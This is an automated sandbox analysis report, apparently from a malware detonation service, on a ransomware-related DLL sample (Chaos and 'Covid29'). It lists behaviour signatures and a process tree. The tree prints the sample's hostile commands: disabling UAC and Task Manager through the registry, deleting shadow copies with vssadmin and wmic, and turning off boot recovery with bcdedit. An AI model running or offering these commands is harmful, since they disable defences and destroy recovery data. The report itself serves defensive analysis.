Overview

overview

10

Static

static

3

b28242123e...29.dll

windows11-21h2-x64

10

Resubmissions

19/09/2025, 09:48

250919-ls2m2aywaw4

19/12/2024, 08:32

241219-kfqvbsxmgl10

19/12/2024, 08:29

241219-kd1azswrh110

19/12/2024, 08:22

241219-j9qkzsxkhl10

19/12/2024, 08:18

241219-j7clcaxkbl6

19/12/2024, 08:10

241219-j2wf9swmgz7

19/12/2024, 07:51

241219-jqbbyswnbq8

19/12/2024, 07:51

241219-jp8aaswnbm3

19/12/2024, 07:46

241219-jmcqlswmcm3

19/12/2024, 07:46

241219-jl6bjavrby3

Analysis

  • max time kernel
    543s
  • max time network
    491s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14/03/2024, 10:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    b28242123ed2cf6000f0aa036844bd29.dll
  • Size 87KB
  • Sample240314-l2whdabe69
  • SHA256 fd563cf7c0c862ab910cf558b5a123354b616e84902d277edf09f378ff6f9786
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
chaosbootkitevasionmotwpersistencephishingransomwarespywarestealertrojanupx

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

    ransomwarechaos
  • Chaos Ransomware 4 IoCs
  • UAC bypass 3 TTPs 2 IoCs
    evasiontrojan
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 34 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Mark of the Web detected: This indicates that the page was originally saved or cloned. 1 IoCs
    phishingmotw
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 61 IoCs
  • Modifies registry key 1 TTPs 7 IoCs
  • NTFS ADS 3 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of FindShellTrayWindow 59 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\regsvr32.exe
    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b28242123ed2cf6000f0aa036844bd29.dll
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Windows\SysWOW64\regsvr32.exe
      /s C:\Users\Admin\AppData\Local\Temp\b28242123ed2cf6000f0aa036844bd29.dll
      2⤵
        PID:3720
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 460
          3⤵
          • Program crash
          PID:2108
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3720 -ip 3720
      1⤵
        PID:2664
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
        1⤵
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:5092
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9ce533cb8,0x7ff9ce533cc8,0x7ff9ce533cd8
          2⤵
            PID:3940
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1876 /prefetch:2
            2⤵
              PID:3104
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:3
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4476
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
              2⤵
                PID:3328
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:1
                2⤵
                  PID:1660
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
                  2⤵
                    PID:4920
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4012 /prefetch:1
                    2⤵
                      PID:2916
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4528 /prefetch:1
                      2⤵
                        PID:4144
                      • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5096 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3556
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
                        2⤵
                          PID:3620
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
                          2⤵
                            PID:3588
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5192 /prefetch:8
                            2⤵
                              PID:3832
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5268 /prefetch:8
                              2⤵
                              • Modifies registry class
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3724
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
                              2⤵
                                PID:4396
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5144 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1352
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4528 /prefetch:1
                                2⤵
                                  PID:4832
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4728 /prefetch:1
                                  2⤵
                                    PID:1488
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
                                    2⤵
                                      PID:4540
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:1
                                      2⤵
                                        PID:4272
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
                                        2⤵
                                          PID:1380
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
                                          2⤵
                                            PID:5032
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1
                                            2⤵
                                              PID:2480
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6048 /prefetch:2
                                              2⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:5088
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:1
                                              2⤵
                                                PID:3860
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
                                                2⤵
                                                  PID:2748
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6584 /prefetch:1
                                                  2⤵
                                                    PID:1536
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3624 /prefetch:1
                                                    2⤵
                                                      PID:1620
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6208 /prefetch:8
                                                      2⤵
                                                      • NTFS ADS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1324
                                                    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Downloads\bodmas_malware_category.csv"
                                                      2⤵
                                                      • Checks processor information in registry
                                                      • Enumerates system info in registry
                                                      • Suspicious behavior: AddClipboardFormatListener
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3680
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:1
                                                      2⤵
                                                        PID:4588
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7068 /prefetch:1
                                                        2⤵
                                                          PID:4840
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2660 /prefetch:1
                                                          2⤵
                                                            PID:4768
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7072 /prefetch:1
                                                            2⤵
                                                              PID:3804
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:1
                                                              2⤵
                                                                PID:4576
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1280 /prefetch:8
                                                                2⤵
                                                                • NTFS ADS
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2760
                                                              • C:\Windows\system32\NOTEPAD.EXE
                                                                "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.txt
                                                                2⤵
                                                                • Modifies registry class
                                                                • Opens file in notepad (likely ransom note)
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:2104
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1332 /prefetch:1
                                                                2⤵
                                                                  PID:1524
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1784,11675327164829650233,8546519728444149150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3516 /prefetch:8
                                                                  2⤵
                                                                  • NTFS ADS
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5116
                                                              • C:\Windows\System32\CompPkgSrv.exe
                                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                1⤵
                                                                  PID:1384
                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                  1⤵
                                                                    PID:5080
                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.txt
                                                                    1⤵
                                                                    • Opens file in notepad (likely ransom note)
                                                                    PID:1672
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.bat" "
                                                                    1⤵
                                                                      PID:4532
                                                                    • C:\Windows\System32\rundll32.exe
                                                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                      1⤵
                                                                        PID:2732
                                                                      • C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe"
                                                                        1⤵
                                                                          PID:2756
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\TrojanRansomCovid29.bat" "
                                                                            2⤵
                                                                            • Modifies registry class
                                                                            PID:2032
                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\fakeerror.vbs"
                                                                              3⤵
                                                                                PID:4752
                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                ping localhost -n 2
                                                                                3⤵
                                                                                • Runs ping.exe
                                                                                PID:380
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                • Modifies registry key
                                                                                PID:400
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                • Modifies registry key
                                                                                PID:3224
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                • Modifies registry key
                                                                                PID:4904
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                • Modifies registry key
                                                                                PID:2216
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                • Modifies registry key
                                                                                PID:4888
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
                                                                                3⤵
                                                                                • UAC bypass
                                                                                • Modifies registry key
                                                                                PID:3952
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                3⤵
                                                                                • UAC bypass
                                                                                • Modifies registry key
                                                                                PID:4788
                                                                              • C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\mbr.exe
                                                                                mbr.exe
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                • Writes to the Master Boot Record (MBR)
                                                                                PID:4556
                                                                              • C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\Cov29Cry.exe
                                                                                Cov29Cry.exe
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:4284
                                                                                • C:\Users\Admin\AppData\Roaming\svchost.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\svchost.exe"
                                                                                  4⤵
                                                                                  • Drops startup file
                                                                                  • Executes dropped EXE
                                                                                  • Drops desktop.ini file(s)
                                                                                  • Sets desktop wallpaper using registry
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:240
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
                                                                                    5⤵
                                                                                      PID:2512
                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                        vssadmin delete shadows /all /quiet
                                                                                        6⤵
                                                                                        • Interacts with shadow copies
                                                                                        PID:2332
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic shadowcopy delete
                                                                                        6⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2852
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
                                                                                      5⤵
                                                                                        PID:3704
                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                          bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                          6⤵
                                                                                          • Modifies boot configuration data using bcdedit
                                                                                          PID:1920
